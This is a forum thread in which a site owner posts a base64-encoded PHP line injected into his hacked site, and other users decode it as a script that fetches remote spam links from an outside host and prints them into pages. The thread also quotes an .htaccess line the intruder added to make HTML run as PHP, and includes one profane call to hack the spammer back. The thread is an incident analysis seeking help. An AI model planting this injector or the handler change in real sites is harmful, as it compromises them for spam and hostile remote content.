Help someone hacked my site : Please help me decipher code : !!!!!!!!!!!!!!!!!!!!!!!!

[NetHorse]

<!--erda8--><?php eval(base64_decode("JGw9Imh0dHA6Ly9kbWkuZXJkYXVkdG VhbS5iaXovbGluay9saW5rLnBocCI7IGlmIChleHRlbnNpb25f bG9hZGVkKCJjdXJsIikpey ANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gs IENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2 gsIENVUkxPUFRfUkVUVVJO VFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE 9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3Vy bF9jbG9zZSgkY2gpO30NCm Vsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBA JHI7DQo=")); ?>

Someone gained access to one of my sites that promotes a nats program and added that little script. Any idea what that means or what it was possibly doing? Thanks to anyone out there who can help.

[DarkJedi]

It means you need to move to a new host that doesn't have a head up their ass.

[NetHorse]

Also found this is in all my .htaccess files


AddHandler application/x-httpd-php .html .htm .shtm

and huge spam list linking to this site

http://www.evolutionisdead.com/

????????

[darksoul]

$l="http://dmi.erdaudteam.biz/link/link.php"; if (extension_loaded("curl")){ $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);} else{$r=implode("",file($l));} print @$r;

[beta-tester]

it means that it'll execute this statement:

$l="http://dmi.erdaudteam.biz/link/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;


if it helps

[darksoul]

basically it loads the list with spammed url'es from dmi.erdaudteam.biz/link/link.php

[NetHorse]

Thanks a lot guys I'll try to get a hold of this guy's host and have him shut down

[NetHorse]

estdomains.com is the domain the site is hosted on!

[NetHorse]

If they don't do anything about it can I contact ICANN? I want this asshole's site SHUT DOWN!!!!!!!!!!!!

[tahiti]

so easy was some base64 encode.

--->aWYgeW91IG5lZWQgaGVscCBjaGVjayBteSBzaWcuLi4gSSBnd WVzcyB5b3UgY2FuJ3QgcmVhZCB0aGF0IDstKQ==

[NetHorse]

blah someone hack his site. POS really fucked one of my rankings with one site.

[Juicy D. Links]

thats some nice code

[NetHorse]

thats some nice code

? Meaning these are talented hackers?